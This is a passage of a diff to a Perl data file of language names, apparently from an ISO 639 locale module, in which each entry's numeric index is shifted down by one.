       ],
-   q(4191) => [
+   q(4190) => [
       q(Dizin),
       ],
-   q(4192) => [
+   q(4191) => [
       q(Male (Ethiopia)),
       ],
-   q(4193) => [
+   q(4192) => [
       q(Surui Do Para),
       ],
-   q(4194) => [
+   q(4193) => [
       q(Menka),
       ],
-   q(4195) => [
+   q(4194) => [
       q(Ikobi),
       ],
-   q(4196) => [
+   q(4195) => [
       q(Mara),
       ],
-   q(4197) => [
+   q(4196) => [
       q(Melpa),
       ],
-   q(4198) => [
+   q(4197) => [
       q(Mengen),
       ],
-   q(4199) => [
+   q(4198) => [
       q(Megam),
       ],
-   q(4200) => [
+   q(4199) => [
       q(Southwestern Tlaxiaco Mixtec),
       ],
-   q(4201) => [
+   q(4200) => [
       q(Midob),
       ],
-   q(4202) => [
+   q(4201) => [
       q(Meyah),
       ],
-   q(4203) => [
+   q(4202) => [
       q(Mekeo),
       ],
-   q(4204) => [
+   q(4203) => [
       q(Central Melanau),
       ],
-   q(4205) => [
+   q(4204) => [
       q(Mangala),
       ],
-   q(4206) => [
+   q(4205) => [
       q(Kedah Malay),
       ],
-   q(4207) => [
+   q(4206) => [
       q(Miriwung),
       ],
-   q(4208) => [
+   q(4207) => [
       q(Merey),
       ],
-   q(4209) => [
+   q(4208) => [
       q(Meru),
       ],
-   q(4210) => [
+   q(4209) => [
       q(Masmaje),
       ],
-   q(4211) => [
+   q(4210) => [
       q(Mato),
       ],
-   q(4212) => [
+   q(4211) => [
       q(Motu),
       ],
-   q(4213) => [
+   q(4212) => [
       q(Mano),
       ],
-   q(4214) => [
+   q(4213) => [
       q(Maaka),
       ],
-   q(4215) => [
+   q(4214) => [
       q(Hassaniyya),
       ],
-   q(4216) => [
+   q(4215) => [
       q(Menominee),
       ],
-   q(4217) => [
+   q(4216) => [
       q(Pattani Malay),
       ],
-   q(4218) => [
+   q(4217) => [
       q(Bangka),
       ],
-   q(4219) => [
+   q(4218) => [
       q(Mba),
       ],
-   q(4220) => [
+   q(4219) => [
       q(Mendankwe-Nkwen),
       ],
-   q(4221) => [
+   q(4220) => [
       q(Morisyen),
       ],
-   q(4222) => [
+   q(4221) => [
       q(Naki),
       ],
-   q(4223) => [
+   q(4222) => [
       q(Mogofin),
       ],
-   q(4224) => [
+   q(4223) => [
       q(Matal),
       ],
-   q(4225) => [
+   q(4224) => [
       q(Wandala),
       ],
-   q(4226) => [
+   q(4225) => [
       q(Mefele),
       ],
-   q(4227) => [
+   q(4226) => [
       q(North Mofu),
       ],
-   q(4228) => [
+   q(4227) => [
       q(Putai),
       ],
-   q(4229) => [
+   q(4228) => [
       q(Marghi South),
       ],
-   q(4230) => [
+   q(4229) => [
       q(Cross River Mbembe),
       ],
-   q(4231) => [
+   q(4230) => [
       q(Mbe),
       ],
-   q(4232) => [
+   q(4231) => [
       q(Makassar Malay),
       ],
-   q(4233) => [
+   q(4232) => [
       q(Moba),
       ],
-   q(4234) => [
+   q(4233) => [
       q(Marithiel),
       ],
-   q(4235) => [
+   q(4234) => [
       q(Mexican Sign Language),
       ],
-   q(4236) => [
+   q(4235) => [
       q(Mokerang),
       ],
-   q(4237) => [
+   q(4236) => [
       q(Mbwela),
       ],
-   q(4238) => [
+   q(4237) => [
       q(Mandjak),
       ],
-   q(4239) => [
+   q(4238) => [
       q(Mulaha),
       ],
-   q(4240) => [
+   q(4239) => [
       q(Melo),
       ],
-   q(4241) => [
+   q(4240) => [
       q(Mayo),
       ],
-   q(4242) => [
+   q(4241) => [
       q(Mabaan),
       ],
-   q(4243) => [
+   q(4242) => [
       q(Mararit),
       ],
-   q(4244) => [
+   q(4243) => [
       q(Morokodo),
       ],
-   q(4245) => [
+   q(4244) => [
       q(Moru),
       ],
-   q(4246) => [
+   q(4245) => [
       q(Mango),
       ],
-   q(4247) => [
+   q(4246) => [
       q(Maklew),
       ],
-   q(4248) => [
+   q(4247) => [
       q(Mpumpong),
       ],
-   q(4249) => [
+   q(4248) => [
       q(Makhuwa-Meetto),
       ],
-   q(4250) => [
+   q(4249) => [
       q(Lijili),
       ],
-   q(4251) => [
+   q(4250) => [
       q(Abureni),
       ],
-   q(4252) => [
+   q(4251) => [
       q(Mawes),
       ],
-   q(4253) => [
+   q(4252) => [
       q(Maleu-Kilenge),
       ],
-   q(4254) => [
+   q(4253) => [
       q(Mambae),
       ],
-   q(4255) => [
+   q(4254) => [
       q(Mbangi),
       ],
-   q(4256) => [
+   q(4255) => [
       q(Meta'),
       ],
-   q(4257) => [
+   q(4256) => [
       q(Eastern Magar),
       ],
-   q(4258) => [
+   q(4257) => [
       q(Malila),
       ],
-   q(4259) => [
+   q(4258) => [
       q(Mambwe-Lungu),
       ],
-   q(4260) => [
+   q(4259) => [
       q(Manda (Tanzania)),
       ],
-   q(4261) => [
+   q(4260) => [
       q(Mongol),
       ],
-   q(4262) => [
+   q(4261) => [
       q(Mailu),
       ],
-   q(4263) => [
+   q(4262) => [
       q(Matengo),
       ],
-   q(4264) => [
+   q(4263) => [
       q(Matumbi),
       ],
-   q(4265) => [
+   q(4264) => [
       q(Mbunga),
       ],
-   q(4266) => [
+   q(4265) => [
       q(Mbugwe),
       ],
-   q(4267) => [
+   q(4266) => [
       q(Manda (India)),
       ],
-   q(4268) => [
+   q(4267) => [
       q(Mahongwe),
       ],
-   q(4269) => [
+   q(4268) => [
       q(Mocho),
       ],
-   q(4270) => [
+   q(4269) => [
       q(Mbugu),
       ],
-   q(4271) => [
+   q(4270) => [
       q(Besisi),
       q(Mah Meri),
       ],
-   q(4272) => [
+   q(4271) => [
       q(Mamaa),
       ],
-   q(4273) => [
+   q(4272) => [
       q(Margu),
       ],
-   q(4274) => [
+   q(4273) => [
       q(Ma'di),
       ],
-   q(4275) => [
+   q(4274) => [
       q(Mogholi),
       ],
-   q(4276) => [
+   q(4275) => [
       q(Mungaka),
       ],
-   q(4277) => [
+   q(4276) => [
       q(Mauwake),
       ],
-   q(4278) => [
+   q(4277) => [
       q(Makhuwa-Moniga),
       ],
-   q(4279) => [
+   q(4278) => [
       q(Mocheno),
       ],
-   q(4280) => [
+   q(4279) => [
       q(Mashi (Zambia)),
       ],
-   q(4281) => [
+   q(4280) => [
       q(Balinese Malay),
       ],
-   q(4282) => [
+   q(4281) => [
       q(Mandan),
       ],
-   q(4283) => [
+   q(4282) => [
       q(Eastern Mari),
       ],
-   q(4284) => [
+   q(4283) => [
       q(Buru (Indonesia)),
       ],
-   q(4285) => [
+   q(4284) => [
       q(Mandahuaca),
       ],
-   q(4286) => [
+   q(4285) => [
       q(Digaro-Mishmi),
       q(Darang Deng),
       ],
-   q(4287) => [
+   q(4286) => [
       q(Mbukushu),
       ],
-   q(4288) => [
+   q(4287) => [
       q(Maru),
       q(Lhaovo),
       ],
-   q(4289) => [
+   q(4288) => [
       q(Ma'anyan),
       ],
-   q(4290) => [
+   q(4289) => [
       q(Mor (Mor Islands)),
       ],
-   q(4291) => [
+   q(4290) => [
       q(Miami),
       ],
-   q(4292) => [
+   q(4291) => [
       q(Atatlahuca Mixtec),
       ],
-   q(4293) => [
+   q(4292) => [
       q(Mandaic),
       ],
-   q(4294) => [
+   q(4293) => [
       q(Ocotepec Mixtec),
       ],
-   q(4295) => [
+   q(4294) => [
       q(Mofu-Gudur),
       ],
-   q(4296) => [
+   q(4295) => [
       q(San Miguel El Grande Mixtec),
       ],
-   q(4297) => [
+   q(4296) => [
       q(Chayuco Mixtec),
       ],
-   q(4298) => [
+   q(4297) => [
       q(Chigmecatitlan Mixtec),
       ],
-   q(4299) => [
+   q(4298) => [
       q(Abar),
       q(Mungbam),
       ],
-   q(4300) => [
+   q(4299) => [
       q(Mikasuki),
       ],
-   q(4301) => [
+   q(4300) => [
       q(Penoles Mixtec),
       ],
-   q(4302) => [
+   q(4301) => [
       q(Alacatlatzala Mixtec),
       ],
-   q(4303) => [
+   q(4302) => [
       q(Pinotepa Nacional Mixtec),
       ],
-   q(4304) => [
+   q(4303) => [
       q(Apasco-Apoala Mixtec),
       ],
-   q(4305) => [
+   q(4304) => [
       q(Miskito),
       ],
-   q(4306) => [
+   q(4305) => [
       q(Isthmus Mixe),
       ],
-   q(4307) => [
+   q(4306) => [
       q(Southern Puebla Mixtec),
       ],
-   q(4308) => [
+   q(4307) => [
       q(Cacaloxtepec Mixtec),
       ],
-   q(4309) => [
+   q(4308) => [
       q(Akoye),
       ],
-   q(4310) => [
+   q(4309) => [
       q(Mixtepec Mixtec),
       ],
-   q(4311) => [
+   q(4310) => [
       q(Ayutla Mixtec),
       ],
-   q(4312) => [
+   q(4311) => [
       q(Coatzospan Mixtec),
       ],
-   q(4313) => [
+   q(4312) => [
       q(Makalero),
       ],
-   q(4314) => [
+   q(4313) => [
       q(San Juan Colorado Mixtec),
       ],
-   q(4315) => [
+   q(4314) => [
       q(Northwest Maidu),
       ],
-   q(4316) => [
+   q(4315) => [
       q(Muskum),
       ],
-   q(4317) => [
+   q(4316) => [
       q(Tu),
       ],
-   q(4318) => [
+   q(4317) => [
       q(Mwera (Nyasa)),
       ],
-   q(4319) => [
+   q(4318) => [
       q(Kim Mun),
       ],
-   q(4320) => [
+   q(4319) => [
       q(Mawak),
       ],
-   q(4321) => [
+   q(4320) => [
       q(Matukar),
       ],
-   q(4322) => [
+   q(4321) => [
       q(Mandeali),
       ],
-   q(4323) => [
+   q(4322) => [
       q(Medebur),
       ],
-   q(4324) => [
+   q(4323) => [
       q(Ma (Papua New Guinea)),
       ],
-   q(4325) => [
+   q(4324) => [
       q(Malankuravan),
       ],
-   q(4326) => [
+   q(4325) => [
       q(Malapandaram),
       ],
-   q(4327) => [
+   q(4326) => [
       q(Malaryan),
       ],
-   q(4328) => [
+   q(4327) => [
       q(Malavedan),
       ],
-   q(4329) => [
+   q(4328) => [
       q(Miship),
       ],
-   q(4330) => [
+   q(4329) => [
       q(Sauria Paharia),
       ],
-   q(4331) => [
+   q(4330) => [
       q(Manna-Dora),
       ],
-   q(4332) => [
+   q(4331) => [
       q(Mannan),
       ],
-   q(4333) => [
+   q(4332) => [
       q(Karbi),
       ],
-   q(4334) => [
+   q(4333) => [
       q(Mahali),
       ],
-   q(4335) => [
+   q(4334) => [
       q(Mahican),
       ],
-   q(4336) => [
+   q(4335) => [
       q(Majhi),
       ],
-   q(4337) => [
+   q(4336) => [
       q(Mbre),
       ],
-   q(4338) => [
+   q(4337) => [
       q(Mal Paharia),
       ],
-   q(4339) => [
+   q(4338) => [
       q(Siliput),
       ],
-   q(4340) => [
+   q(4339) => [
       q(Mawchi),
       ],
-   q(4341) => [
+   q(4340) => [
       q(Miya),
       ],
-   q(4342) => [
+   q(4341) => [
       q(Mak (China)),
       ],
-   q(4343) => [
+   q(4342) => [
       q(Dhatki),
       ],
-   q(4344) => [
+   q(4343) => [
       q(Mokilese),
       ],
-   q(4345) => [
+   q(4344) => [
       q(Byep),
       ],
-   q(4346) => [
+   q(4345) => [
       q(Mokole),
       ],
-   q(4347) => [
+   q(4346) => [
       q(Moklen),
       ],
-   q(4348) => [
+   q(4347) => [
       q(Kupang Malay),
       ],
-   q(4349) => [
+   q(4348) => [
       q(Mingang Doso),
       ],
-   q(4350) => [
+   q(4349) => [
       q(Moikodi),
       ],
-   q(4351) => [
+   q(4350) => [
       q(Bay Miwok),
       ],
-   q(4352) => [
+   q(4351) => [
       q(Malas),
       ],
-   q(4353) => [
+   q(4352) => [
       q(Silacayoapan Mixtec),
       ],
-   q(4354) => [
+   q(4353) => [
       q(Vamale),
       ],
-   q(4355) => [
+   q(4354) => [
       q(Konyanka Maninka),
       ],
-   q(4356) => [
+   q(4355) => [
       q(Mafea),
       ],
-   q(4357) => [
+   q(4356) => [
       q(Kituba (Congo)),
       ],
-   q(4358) => [
+   q(4357) => [
       q(Kinamiging Manobo),
       ],
-   q(4359) => [
+   q(4358) => [
       q(East Makian),
       ],
-   q(4360) => [
+   q(4359) => [
       q(Makasae),
       ],
-   q(4361) => [
+   q(4360) => [
       q(Malo),
       ],
-   q(4362) => [
+   q(4361) => [
       q(Mbule),
       ],
-   q(4363) => [
+   q(4362) => [
       q(Cao Lan),
       ],
-   q(4364) => [
+   q(4363) => [
       q(Manambu),
       ],
-   q(4365) => [
+   q(4364) => [
       q(Mal),
       ],
-   q(4366) => [
+   q(4365) => [
       q(Mape),
       ],
-   q(4367) => [
+   q(4366) => [
       q(Malimpung),
       ],
-   q(4368) => [
+   q(4367) => [
       q(Miltu),
       ],
-   q(4369) => [
+   q(4368) => [
       q(Ilwana),
       q(Kiwilwana),
       ],
-   q(4370) => [
+   q(4369) => [
       q(Malua Bay),
       ],
-   q(4371) => [
+   q(4370) => [
       q(Mulam),
       ],
-   q(4372) => [
+   q(4371) => [
       q(Malango),
       ],
-   q(4373) => [
+   q(4372) => [
       q(Mlomp),
       ],
-   q(4374) => [
+   q(4373) => [
       q(Bargam),
       ],
-   q(4375) => [
+   q(4374) => [
       q(Western Maninkakan),
       ],
-   q(4376) => [
+   q(4375) => [
       q(Vame),
       ],
-   q(4377) => [
+   q(4376) => [
       q(Masalit),
       ],
-   q(4378) => [
+   q(4377) => [
       q(To'abaita),
       ],
-   q(4379) => [
+   q(4378) => [
       q(Motlav),
       q(Mwotlap),
       ],
-   q(4380) => [
+   q(4379) => [
       q(Moloko),
       ],
-   q(4381) => [
+   q(4380) => [
       q(Malfaxal),
       q(Naha'ai),
       ],
-   q(4382) => [
+   q(4381) => [
       q(Malaynon),
       ],
-   q(4383) => [
+   q(4382) => [
       q(Mama),
       ],
-   q(4384) => [
+   q(4383) => [
       q(Momina),
       ],
-   q(4385) => [
+   q(4384) => [
       q(Michoacan Mazahua),
       ],
-   q(4386) => [
+   q(4385) => [
       q(Maonan),
       ],
-   q(4387) => [
+   q(4386) => [
       q(Mae),
       ],
-   q(4388) => [
+   q(4387) => [
       q(Mundat),
       ],
-   q(4389) => [
+   q(4388) => [
       q(North Ambrym),
       ],
-   q(4390) => [
+   q(4389) => [
       q(Mehinaku),
       ],
-   q(4391) => [
+   q(4390) => [
       q(Musar),
       ],
-   q(4392) => [
+   q(4391) => [
       q(Majhwar),
       ],
-   q(4393) => [
+   q(4392) => [
       q(Mukha-Dora),
       ],
-   q(4394) => [
+   q(4393) => [
       q(Man Met),
       ],
-   q(4395) => [
+   q(4394) => [
       q(Maii),
       ],
-   q(4396) => [
+   q(4395) => [
       q(Mamanwa),
       ],
-   q(4397) => [
+   q(4396) => [
       q(Mangga Buang),
       ],
-   q(4398) => [
+   q(4397) => [
       q(Siawi),
       ],
-   q(4399) => [
+   q(4398) => [
       q(Musak),
       ],
-   q(4400) => [
+   q(4399) => [
       q(Western Xiangxi Miao),
       ],
-   q(4401) => [
+   q(4400) => [
       q(Malalamai),
       ],
-   q(4402) => [
+   q(4401) => [
       q(Mmaala),
       ],
-   q(4403) => [
+   q(4402) => [
       q(Miriti),
       ],
-   q(4404) => [
+   q(4403) => [
       q(Emae),
       ],
-   q(4405) => [
+   q(4404) => [
       q(Madak),
       ],
-   q(4406) => [
+   q(4405) => [
       q(Migaama),
       ],
-   q(4407) => [
+   q(4406) => [
       q(Mabaale),
       ],
-   q(4408) => [
+   q(4407) => [
       q(Mbula),
       ],
-   q(4409) => [
+   q(4408) => [
       q(Muna),
       ],
-   q(4410) => [
+   q(4409) => [
       q(Monde),
       ],
-   q(4411) => [
+   q(4410) => [
       q(Naba),
       ],
-   q(4412) => [
+   q(4411) => [
       q(Mundani),
       ],
-   q(4413) => [
+   q(4412) => [
       q(Eastern Mnong),
       ],
-   q(4414) => [
+   q(4413) => [
       q(Mono (Democratic Republic of Congo)),
       ],
-   q(4415) => [
+   q(4414) => [
       q(Munji),
       ],
-   q(4416) => [
+   q(4415) => [
       q(Mandinka),
       ],
-   q(4417) => [
+   q(4416) => [
       q(Tiale),
       ],
-   q(4418) => [
+   q(4417) => [
       q(Mapena),
       ],
-   q(4419) => [
+   q(4418) => [
       q(Southern Mnong),
       ],
-   q(4420) => [
+   q(4419) => [
       q(Min Bei Chinese),
       ],
-   q(4421) => [
+   q(4420) => [
       q(Minriq),
       ],
-   q(4422) => [
+   q(4421) => [
       q(Mono (USA)),
       ],
-   q(4423) => [
+   q(4422) => [
       q(Mansi),
       ],
-   q(4424) => [
+   q(4423) => [
       q(Mer),
       ],
-   q(4425) => [
+   q(4424) => [
       q(Rennell-Bellona),
       ],
-   q(4426) => [
+   q(4425) => [
       q(Mon),
       ],
-   q(4427) => [
+   q(4426) => [
       q(Manikion),
       ],
-   q(4428) => [
+   q(4427) => [
       q(Manyawa),
       ],
-   q(4429) => [
+   q(4428) => [
       q(Moni),
       ],
-   q(4430) => [
+   q(4429) => [
       q(Mwan),
       ],
-   q(4431) => [
+   q(4430) => [
       q(Mocovi),
       ],
-   q(4432) => [
+   q(4431) => [
       q(Mobilian),
       ],
-   q(4433) => [
+   q(4432) => [
       q(Montagnais),
       ],
-   q(4434) => [
+   q(4433) => [
       q(Mongondow),
       ],
-   q(4435) => [
+   q(4434) => [
       q(Mboi),
       ],
-   q(4436) => [
+   q(4435) => [
       q(Monzombo),
       ],
-   q(4437) => [
+   q(4436) => [
       q(Morori),
       ],
-   q(4438) => [
+   q(4437) => [
       q(Mangue),
       ],
-   q(4439) => [
+   q(4438) => [
       q(Monom),
       ],
-   q(4440) => [
+   q(4439) => [
       q(Mopan Maya),
       ],
-   q(4441) => [
+   q(4440) => [
       q(Mor (Bomberai Peninsula)),
       ],
-   q(4442) => [
+   q(4441) => [
       q(Moro),
       ],
-   q(4443) => [
+   q(4442) => [
       q(Mogum),
       ],
-   q(4444) => [
+   q(4443) => [
       q(Mohave),
       ],
-   q(4445) => [
+   q(4444) => [
       q(Moi (Congo)),
       ],
-   q(4446) => [
+   q(4445) => [
       q(Molima),
       ],
-   q(4447) => [
+   q(4446) => [
       q(Shekkacho),
       ],
-   q(4448) => [
+   q(4447) => [
       q(Mukulu),
       q(Gergiko),
       ],
-   q(4449) => [
+   q(4448) => [
       q(Mpoto),
       ],
-   q(4450) => [
+   q(4449) => [
       q(Mullukmulluk),
       ],
-   q(4451) => [
+   q(4450) => [
       q(Mangarayi),
       ],
-   q(4452) => [
+   q(4451) => [
       q(Machinere),
       ],
-   q(4453) => [
+   q(4452) => [
       q(Majang),
       ],
-   q(4454) => [
+   q(4453) => [
       q(Marba),
       ],
-   q(4455) => [
+   q(4454) => [
       q(Maung),
       ],
-   q(4456) => [
+   q(4455) => [
       q(Mpade),
       ],
-   q(4457) => [
+   q(4456) => [
       q(Martu Wangka),
       ],
-   q(4458) => [
+   q(4457) => [
       q(Mbara (Chad)),
       ],
-   q(4459) => [
+   q(4458) => [
       q(Middle Watut),
       ],
-   q(4460) => [
+   q(4459) => [
       q(Yosondua Mixtec),
       ],
-   q(4461) => [
+   q(4460) => [
       q(Mindiri),
       ],
-   q(4462) => [
+   q(4461) => [
       q(Miu),
       ],
-   q(4463) => [
+   q(4462) => [
       q(Migabac),
       ],
-   q(4464) => [
+   q(4463) => [
       q(Matis),
       ],
-   q(4465) => [
+   q(4464) => [
       q(Vangunu),
       ],
-   q(4466) => [
+   q(4465) => [
       q(Dadibi),
       ],
-   q(4467) => [
+   q(4466) => [
       q(Mian),
       ],
-   q(4468) => [
+   q(4467) => [
       q(Makurap),
       ],
-   q(4469) => [
+   q(4468) => [
       q(Mungkip),
       ],
-   q(4470) => [
+   q(4469) => [
       q(Mapidian),
       ],
-   q(4471) => [
+   q(4470) => [
       q(Misima-Panaeati),
       ],
-   q(4472) => [
+   q(4471) => [
       q(Mapia),
       ],
-   q(4473) => [
+   q(4472) => [
       q(Mpi),
       ],
-   q(4474) => [
+   q(4473) => [
       q(Maba (Indonesia)),
       ],
-   q(4475) => [
+   q(4474) => [
       q(Mbuko),
       ],
-   q(4476) => [
+   q(4475) => [
       q(Mangole),
       ],
-   q(4477) => [
+   q(4476) => [
       q(Matepi),
       ],
-   q(4478) => [
+   q(4477) => [
       q(Momuna),
       ],
-   q(4479) => [
+   q(4478) => [
       q(Kota Bangun Kutai Malay),
       ],
-   q(4480) => [
+   q(4479) => [
       q(Tlazoyaltepec Mixtec),
       ],
-   q(4481) => [
+   q(4480) => [
       q(Mariri),
       ],
-   q(4482) => [
+   q(4481) => [
       q(Mamasa),
       ],
-   q(4483) => [
+   q(4482) => [
       q(Rajah Kabunsuwan Manobo),
       ],
-   q(4484) => [
+   q(4483) => [
       q(Mbelime),
       ],
-   q(4485) => [
+   q(4484) => [
       q(South Marquesan),
       ],
-   q(4486) => [
+   q(4485) => [
       q(Moronene),
       ],
-   q(4487) => [
+   q(4486) => [
       q(Modole),
       ],
-   q(4488) => [
+   q(4487) => [
       q(Manipa),
       ],
-   q(4489) => [
+   q(4488) => [
       q(Minokok),
       ],
-   q(4490) => [
+   q(4489) => [
       q(Mander),
       ],
-   q(4491) => [
+   q(4490) => [
       q(West Makian),
       ],
-   q(4492) => [
+   q(4491) => [
       q(Mok),
       ],
-   q(4493) => [
+   q(4492) => [
       q(Mandari),
       ],
-   q(4494) => [
+   q(4493) => [
       q(Mosimo),
       ],
-   q(4495) => [
+   q(4494) => [
       q(Murupi),
       ],
-   q(4496) => [
+   q(4495) => [
       q(Mamuju),
       ],
-   q(4497) => [
+   q(4496) => [
       q(Manggarai),
       ],
-   q(4498) => [
+   q(4497) => [
       q(Pano),
       ],
-   q(4499) => [
+   q(4498) => [
       q(Mlabri),
       ],
-   q(4500) => [
+   q(4499) => [
       q(Marino),
       ],
-   q(4501) => [
+   q(4500) => [
       q(Maricopa),
       ],
-   q(4502) => [
+   q(4501) => [
       q(Western Magar),
       ],
-   q(4503) => [
+   q(4502) => [
       q(Martha's Vineyard Sign Language),
       ],
-   q(4504) => [
+   q(4503) => [
       q(Elseng),
       ],
-   q(4505) => [
+   q(4504) => [
       q(Mising),
       ],
-   q(4506) => [
+   q(4505) => [
       q(Mara Chin),
       ],
-   q(4507) => [
+   q(4506) => [
       q(Western Mari),
       ],
-   q(4508) => [
+   q(4507) => [
       q(Hmwaveke),
       ],
-   q(4509) => [
+   q(4508) => [
       q(Mortlockese),
       ],
-   q(4510) => [
+   q(4509) => [
       q(Merlav),
       q(Mwerlap),
       ],
-   q(4511) => [
+   q(4510) => [
       q(Cheke Holo),
       ],
-   q(4512) => [
+   q(4511) => [
       q(Mru),
       ],
-   q(4513) => [
+   q(4512) => [
       q(Morouas),
       ],
-   q(4514) => [
+   q(4513) => [
       q(North Marquesan),
       ],
-   q(4515) => [
+   q(4514) => [
       q(Maria (India)),
       ],
-   q(4516) => [
+   q(4515) => [
       q(Maragus),
       ],
-   q(4517) => [
+   q(4516) => [
       q(Marghi Central),
       ],
-   q(4518) => [
+   q(4517) => [
       q(Mono (Cameroon)),
       ],
-   q(4519) => [
+   q(4518) => [
       q(Mangareva),
       ],
-   q(4520) => [
+   q(4519) => [
       q(Maranao),
       ],
-   q(4521) => [
+   q(4520) => [
       q(Maremgi),
       q(Dineor),
       ],
-   q(4522) => [
+   q(4521) => [
       q(Mandaya),
       ],
-   q(4523) => [
+   q(4522) => [
       q(Marind),
       ],
-   q(4524) => [
+   q(4523) => [
       q(Masbatenyo),
       ],
-   q(4525) => [
+   q(4524) => [
       q(Sankaran Maninka),
       ],
-   q(4526) => [
+   q(4525) => [
       q(Yucatec Maya Sign Language),
       ],
-   q(4527) => [
+   q(4526) => [
       q(Musey),
       ],
-   q(4528) => [
+   q(4527) => [
       q(Mekwei),
       ],
-   q(4529) => [
+   q(4528) => [
       q(Moraid),
       ],
-   q(4530) => [
+   q(4529) => [
       q(Masikoro Malagasy),
       ],
-   q(4531) => [
+   q(4530) => [
       q(Sabah Malay),
       ],
-   q(4532) => [
+   q(4531) => [
       q(Ma (Democratic Republic of Congo)),
       ],
-   q(4533) => [
+   q(4532) => [
       q(Mansaka),
       ],
-   q(4534) => [
+   q(4533) => [
       q(Molof),
       q(Poule),
       ],
-   q(4535) => [
+   q(4534) => [
       q(Agusan Manobo),
       ],
-   q(4536) => [
+   q(4535) => [
       q(Vures),
       ],
-   q(4537) => [
+   q(4536) => [
       q(Mombum),
       ],
-   q(4538) => [
+   q(4537) => [
       q(Maritsaua),
       ],
-   q(4539) => [
+   q(4538) => [
       q(Caac),
       ],
-   q(4540) => [
+   q(4539) => [
       q(Mongolian Sign Language),
       ],
-   q(4541) => [
+   q(4540) => [
       q(West Masela),
       ],
-   q(4542) => [
+   q(4541) => [
       q(Musom),
       ],
-   q(4543) => [
+   q(4542) => [
       q(Maslam),
       ],
-   q(4544) => [
+   q(4543) => [
       q(Mansoanka),
       ],
-   q(4545) => [
+   q(4544) => [
       q(Moresada),
       ],
-   q(4546) => [
+   q(4545) => [
       q(Aruamu),
       ],
-   q(4547) => [
+   q(4546) => [
       q(Momare),
       ],
-   q(4548) => [
+   q(4547) => [
       q(Cotabato Manobo),
       ],
-   q(4549) => [
+   q(4548) => [
       q(Anyin Morofo),
       ],
-   q(4550) => [
+   q(4549) => [
       q(Munit),
       ],
-   q(4551) => [
+   q(4550) => [
       q(Mualang),
       ],
-   q(4552) => [
+   q(4551) => [
       q(Mono (Solomon Islands)),
       ],
-   q(4553) => [
+   q(4552) => [
       q(Murik (Papua New Guinea)),
       ],
-   q(4554) => [
+   q(4553) => [
       q(Una),
       ],
-   q(4555) => [
+   q(4554) => [
       q(Munggui),
       ],
-   q(4556) => [
+   q(4555) => [
       q(Maiwa (Papua New Guinea)),
       ],
-   q(4557) => [
+   q(4556) => [
       q(Moskona),
       ],
-   q(4558) => [
+   q(4557) => [
       q(Mbe'),
       ],
-   q(4559) => [
+   q(4558) => [
       q(Montol),
       ],
-   q(4560) => [
+   q(4559) => [
       q(Mator),
       ],
-   q(4561) => [
+   q(4560) => [
       q(Matagalpa),
       ],
-   q(4562) => [
+   q(4561) => [
       q(Totontepec Mixe),
       ],
-   q(4563) => [
+   q(4562) => [
       q(Wichi Lhamtes Nocten),
       ],
-   q(4564) => [
+   q(4563) => [
       q(Muong),
       ],
-   q(4565) => [
+   q(4564) => [
       q(Mewari),
       ],
-   q(4566) => [
+   q(4565) => [
       q(Yora),
       ],
-   q(4567) => [
+   q(4566) => [
       q(Mota),
       ],
-   q(4568) => [
+   q(4567) => [
       q(Tututepec Mixtec),
       ],
-   q(4569) => [
+   q(4568) => [
       q(Asaro'o),
       ],
-   q(4570) => [
+   q(4569) => [
       q(Southern Binukidnon),
       ],
-   q(4571) => [
+   q(4570) => [
       q(Tidaa Mixtec),
       ],
-   q(4572) => [
+   q(4571) => [
       q(Nabi),
       ],
-   q(4573) => [
+   q(4572) => [
       q(Mundang),
       ],
-   q(4574) => [
+   q(4573) => [
       q(Mubi),
       ],
-   q(4575) => [
+   q(4574) => [
       q(Ajumbu),
       ],
-   q(4576) => [
+   q(4575) => [
       q(Mednyj Aleut),
       ],
-   q(4577) => [
+   q(4576) => [
       q(Media Lengua),
       ],
-   q(4578) => [
+   q(4577) => [
       q(Musgu),
       ],
-   q(4579) => [
+   q(4578) => [
       q(Mundu),
       ],
-   q(4580) => [
+   q(4579) => [
       q(Musi),
       ],
-   q(4581) => [
+   q(4580) => [
       q(Mabire),
       ],
-   q(4582) => [
+   q(4581) => [
       q(Mugom),
       ],
-   q(4583) => [
+   q(4582) => [
       q(Maiwala),
       ],
-   q(4584) => [
+   q(4583) => [
       q(Nyong),
       ],
-   q(4585) => [
+   q(4584) => [
       q(Malvi),
       ],
-   q(4586) => [
+   q(4585) => [
       q(Eastern Xiangxi Miao),
       ],
-   q(4587) => [
+   q(4586) => [
       q(Murle),
       ],
-   q(4588) => [
+   q(4587) => [
       q(Western Muria),
       ],
-   q(4589) => [
+   q(4588) => [
       q(Yaaku),
       ],
-   q(4590) => [
+   q(4589) => [
       q(Muthuvan),
       ],
-   q(4591) => [
+   q(4590) => [
       q(Bo-Ung),
       ],
-   q(4592) => [
+   q(4591) => [
       q(Muyang),
       ],
-   q(4593) => [
+   q(4592) => [
       q(Mursi),
       ],
-   q(4594) => [
+   q(4593) => [
       q(Manam),
       ],
-   q(4595) => [
+   q(4594) => [
       q(Mattole),
       ],
-   q(4596) => [
+   q(4595) => [
       q(Mamboru),
       ],
-   q(4597) => [
+   q(4596) => [
       q(Marwari (Pakistan)),
       ],
-   q(4598) => [
+   q(4597) => [
       q(Peripheral Mongolian),
       ],
-   q(4599) => [
+   q(4598) => [
       q(Yucuane Mixtec),
       ],
-   q(4600) => [
+   q(4599) => [
       q(Mulgi),
       ],
-   q(4601) => [
+   q(4600) => [
       q(Miyako),
       ],
-   q(4602) => [
+   q(4601) => [
       q(Mekmek),
       ],
-   q(4603) => [
+   q(4602) => [
       q(Mbara (Australia)),
       ],
-   q(4604) => [
+   q(4603) => [
       q(Muya),
       ],
-   q(4605) => [
+   q(4604) => [
       q(Minaveha),
       ],
-   q(4606) => [
+   q(4605) => [
       q(Marovo),
       ],
-   q(4607) => [
+   q(4606) => [
       q(Duri),
       ],
-   q(4608) => [
+   q(4607) => [
       q(Moere),
       ],
-   q(4609) => [
+   q(4608) => [
       q(Marau),
       ],
-   q(4610) => [
+   q(4609) => [
       q(Massep),
       ],
-   q(4611) => [
+   q(4610) => [
       q(Mpotovoro),
       ],
-   q(4612) => [
+   q(4611) => [
       q(Marfa),
       ],
-   q(4613) => [
+   q(4612) => [
       q(Tagal Murut),
       ],
-   q(4614) => [
+   q(4613) => [
       q(Machinga),
       ],
-   q(4615) => [
+   q(4614) => [
       q(Meoswar),
       ],
-   q(4616) => [
+   q(4615) => [
       q(Indus Kohistani),
       ],
-   q(4617) => [
+   q(4616) => [
       q(Mesqan),
       ],
-   q(4618) => [
+   q(4617) => [
       q(Mwatebu),
       ],
-   q(4619) => [
+   q(4618) => [
       q(Juwal),
       ],
-   q(4620) => [
